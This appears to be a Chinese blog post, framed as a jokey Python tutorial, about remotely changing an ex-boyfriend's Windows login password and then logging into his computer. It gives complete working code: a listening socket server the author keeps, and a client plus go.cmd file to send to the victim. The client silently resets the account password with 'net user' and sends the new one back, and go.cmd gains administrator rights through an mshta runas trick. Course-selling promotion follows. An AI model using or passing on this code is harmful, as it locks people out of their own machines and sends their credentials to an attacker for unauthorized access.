我用Python修改了前男友的开机密码,登录后居然发现了一个秘密
Posted 朝阳区靓仔_James
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了我用Python修改了前男友的开机密码,登录后居然发现了一个秘密相关的知识,希望对你有一定的参考价值。
工具准备
开发环境:win10+python3.7
开发工具:pycharm
项目思路解析
一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有男盆友)
分别为三个知识点:
1.socket远程连接
2.创建客户端和服务端
3.管理员权限运行代码
咱们今天是学习修改电脑密码和远程修改小伙伴的密码,如果有哪里解析不好,欢迎大佬指点一下。
该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)
首先正常创建服务端:
- 创建套接字
- 绑定ip端口
- 设置监听
- 等待连接
- 接收数据打印数据
- 关闭连接
python源代码
import socket # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444)) # 绑定IP/端口
server.listen(5) # 监听
print('***********等待连接*********')
conn, addr = server.accept() # 连接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
复制代码
windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)
在提醒一遍,记住服务端是我们自己拿着的哈,别傻乎乎的发给对方了哦!
接下来就写发给小伙伴的客户端:
- 连接服务端的IP和端口
获取当前使用的电脑账户名生成随机的电脑密码在终端执行修改Windows密码的指令发送修改之后的密码关闭套接字
import socket # 导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口)) # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) # 将密码发送给server端
back_msg = client.recv(1024)
client.close() # 关闭socket
复制代码
到这一步基本就可以自己去尝试了,嘿嘿,但是要注意,当前代码只能修改权限是admin的账户。
非admin用户需要提高自己的执行权限,直接使用超级管理员权限执行cmd文件go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
复制代码
小结
最后我修改密码成功登陆,竟然发现了他的密码!
难怪每次我和他斗图,我每次都斗不赢他,原来是背着我下了几千个表情包,我怎么就没有想到这个骚操作呢!!!
关于Python技术储备
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
一、Python所有方向的学习路线
Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、学习软件
工欲善其事必先利其器。学习Python常用的开发软件都在这里了,给大家节省了很多时间。
三、入门学习视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
四、实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
这份完整版的Python全套学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】
以上是关于我用Python修改了前男友的开机密码,登录后居然发现了一个秘密的主要内容,如果未能解决你的问题,请参考以下文章
我用Python修改了班花的开机密码,重新登录后竟然发现了她的秘密!
我用Python修改了班花的开机密码,重新登录后竟然发现了她的秘密!